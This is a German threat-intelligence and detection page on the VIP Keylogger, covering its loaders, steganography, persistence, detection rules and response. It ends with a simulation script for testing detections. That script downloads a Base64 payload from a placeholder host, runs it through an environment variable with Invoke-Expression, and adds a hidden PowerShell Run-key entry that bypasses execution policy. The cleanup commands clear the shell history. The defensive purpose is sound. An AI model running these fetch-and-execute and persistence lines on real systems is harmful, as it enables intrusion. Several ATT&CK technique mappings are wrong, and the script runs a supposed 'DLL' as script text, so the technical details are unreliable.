VIP-Keylogger und seine mehrschichtigen Ausweichtaktiken
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
VIP Keylogger ist eine modulare Bedrohung für Informationsdiebstahl, die über Phishing-Köder wie gefälschte Bankzahlungsbenachrichtigungen verteilt wird. Seine Infektionskette basiert auf bösartigen VBS-, JavaScript- oder Batch-basierten Ladern, die starke Verschleierung, Steganografie in PNG-Bildern und Missbrauch von Umgebungsvariablen verwenden, um PowerShell-Stufen zu verbergen, bevor der endgültige Keylogger gestartet wird. Sobald aktiv, erfasst die Malware Anmeldedaten, Screenshots, Zwischenablageinhalte und WLAN-Passwörter und exfiltriert dann die Daten über mehrere Command-and-Control-Kanäle. Erkennungsbemühungen sollten sich auf verdächtige Registrierungsänderungen, ungewöhnliche Werte von Umgebungsvariablen und abnormale Übergänge von Skriptausführungen zu Binär-Payloads konzentrieren.
Untersuchung
Das Splunk Threat Research Team überprüfte mehr als 200 Laderproben, die im März und April 2026 gesammelt wurden, und dokumentierte deren Namensmuster, Lader-Varianten und den steganografischen Einsatz von PNG-Dateien zur Payload-Zustellung. Forscher rekonstruierten den Deobfuskationsprozess, erkannten den Missbrauch der INTERNAL_DB_CACHE Umgebungsvariable und verfolgten die Persistenz bis zum UserInitMprLogonScript Registrierungsschlüssel. Der Bericht ordnete auch jedes beobachtete Verhalten relevanten MITRE ATT&CK-Techniken zu, um die Detektionsentwicklung zu unterstützen.
Minderung
Organisationen sollten die initialen Phishing-Versuche durch stärkere E-Mail-Sicherheitskontrollen und URL-Filterung stoppen. Verteidiger sollten die Erstellung und Änderung von HKCUEnvironment Werten überwachen, insbesondere übergroße Einträge oder die Verwendung der INTERNAL_DB_CACHE Variable. Die Ausführung skriptbasierter Lader aus benutzerbeschreibbaren Verzeichnissen sollte eingeschränkt werden, und PowerShells eingeschränkter Sprachmodus sollte, wo möglich, durchgesetzt werden. Endpunktsicherheitswerkzeuge sollten auch das Einfügen von Prozessen in aspnet_compiler.exe und verdächtige netsh Aktivitäten erkennen.
Antwort
Wird ein VIP-Keylogger-Indikator entdeckt, sollte der betroffene Host isoliert, flüchtiger Speicher und kürzlich ausgeführte Prozesslogs gesammelt sowie nach bekannten Registrierungsartefakten, PNG-basierten Command-and-Control-URLs und abgelegten Dateien gesucht werden. Die bösartigen Skripte sollten entfernt, aufgedeckte Anmeldedaten zurückgesetzt und eine umfassendere Untersuchung der Umgebung auf verwandte Lader-Artefakte und Persistenzmechanismen durchgeführt werden.
Angriffsablauf
Erkennungen
Mögliche IP-Nachschlage-Domain-Kommunikation versucht (via dns)
Ansicht
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Ansicht
Die Möglichkeit der Ausführung durch versteckte PowerShell-Kommandozeilen (via cmdline)
Ansicht
LOLBAS WScript / CScript (via process_creation)
Ansicht
Verdächtige PowerShell-Strings (via powershell)
Ansicht
Aufruf verdächtiger .NET-Methoden aus PowerShell (via powershell)
Ansicht
Möglicher Telegram-Missbrauch als Command-and-Control-Kanal (via dns_query)
Ansicht
IOCs (HashSha256) zur Erkennung: Hinter dem Code: Die verschachtelte Verteidigung-Ausweichung des VIP Keylogger
Ansicht
VIP Keylogger-PowerShell-Ausführung über Umgebungsvariable [Windows PowerShell]
Ansicht
VIP-Keylogger-Persistenz über Registrierungsänderung [Windows Registry Event]
Ansicht
Simulationsausführung
Voraussetzung: Der Telemetrie- & Baseline-Vorabflug-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die entworfen wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die die Erkennungslogik erwartet. Abstrakte oder unzusammenhängende Beispiele führen zu Fehldiagnosen.
-
Angriffs-Narrativ & Befehle:
- Erstes Erkennen – der Angreifer führt
Get-ADDomain(T1016.002) aus, um Vertrauensbeziehungen in der Domäne zu entdecken. - Payload-Erwerb – mittels
Invoke-WebRequest(T1071.001) lädt der Angreifer eine Base64-codierte DLL herunter, die den Keylogger implementiert (T1056.001). - Staging über Umgebungsvariable – die heruntergeladene Zeichenkette wird durch
[Environment]::SetEnvironmentVariablein einer benutzerdefinierten Umgebungsvariable gespeichert. Dieser Schritt erfüllt den Fokus der Erkennungsregel auf Manipulation von Umgebungsvariablen. - Dynamische Ausführung – der Angreifer führt die Payload sofort mit
Invoke-Expression $env:VIPPayload(T1059.001) aus. Der Keylogger beginnt Keystrokes, Screenshots (T1113) und Zwischenablagendaten (T1115) zu erfassen. - Bereinigung – nach der Etablierung der Persistenz (z. B. Erstellung eines Run-Schlüssels, T1037.001) löscht der Angreifer die temporäre DLL von der Festplatte (T1070.004) und entfernt die Umgebungsvariable, um den forensischen Fußabdruck zu reduzieren.
- Erstes Erkennen – der Angreifer führt
-
Regressionstest-Skript: Das unten stehende Skript reproduziert die genauen Schritte und erzeugt die Telemetrie, die die Sigma-Regel erwartet.
# VIP Keylogger Simulation – PowerShell # ------------------------------------------------- # 1. Laden Sie ein Dummy-Payload (Base64-codierter String) herunter $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64" $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim() # 2. Speichern Sie das Payload in einer benutzerdefinierten Umgebungsvariablen $envVarName = "VIPPayload" [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User") # 3. Dekodieren und führen Sie das Payload über Invoke-Expression aus $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload)) Invoke-Expression $decoded # 4. (Optional) Persistenz über Run-Schlüssel – demonstriert T1037.001 $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`"" # 5. Bereinigung – entfernen Sie die Umgebungsvariable und den Run-Schlüssel-Eintrag Start-Sleep -Seconds 30 # zulassen, dass einige Aktivitäten protokolliert werden Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue [Environment]::SetEnvironmentVariable($envVarName, $null, "User") -
Bereinigungsbefehle: Führen Sie diese Befehle aus, um das System nach dem Test in einen einwandfreien Zustand zurückzuversetzen.
# Entfernen Sie die für den Test erstellte Umgebungsvariable [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User") # Löschen Sie den Persistenz-Run-Schlüssel-Eintrag, falls vorhanden $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue # Löschen Sie alle verbleibenden PowerShell-Verlaufsdatensätze (optional) Clear-History